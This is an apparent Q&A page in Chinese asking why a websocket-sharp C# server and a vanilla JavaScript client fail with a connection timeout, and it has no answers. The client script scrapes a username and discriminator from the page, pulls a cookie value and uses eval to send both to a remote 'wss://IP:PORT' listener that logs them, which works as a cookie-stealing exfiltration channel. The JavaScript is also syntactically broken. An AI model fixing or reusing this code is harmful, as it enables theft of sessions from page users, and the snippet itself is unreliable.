WebSocket即使没有错误也返回“ TIMEOUT ERROR”

时间:2018-07-08 00:07:55

标签: javascript c# networking websocket websocket-sharp

我的服务器代码:(使用websocket-sharp!)

    WebSocketServer wssv = new WebSocketServer();
    private static Form1 f1;
    public class Laputa : WebSocketBehavior
    {
        protected override void OnMessage(MessageEventArgs e)
        {
            this.Add(e.Data);  //               
        }

        void Add(string txt)
        {
            f1.Add(txt);
        }
    }


    private void Button_Click(object sender, EventArgs e)
    {
        string ee = GetIP();
        wssv = new WebSocketServer(Convert.ToInt32(Textbox1.Text), true);
        wssv.AddWebSocketService<Laputa>("/Laputa");

        wssv.Start();

    }

我的客户代码:(Javascript!Vanilla)

var User = document.getElementsByClassName('username')[0].innerHTML + 
document.getElementsByClassName('discrimator')[0].innerHTML;

var GCP = function(cookiename) { 
var cookiestring = RegExp("" + cookiename + "    
[^;]+").exec(document.cookie);
return decodeURIComponent(!!cookiestring ?         
cookiestring.toString().replace(/^[^=]+./, "") : "");
}

alert(eval('var ws = new WebSocket("wss://IP:PORT"); ws.onopen = 
function(e) => ws.send(User + " | " + GCP("cookie");'));

在Chrome上,它将返回DOM:      “与'wss:// IP:PORT / Laputa'的WebSocket连接失败:连接错误      机构:net :: ERR_CONNECTION_TIMED_OUT“

0 个答案:

没有答案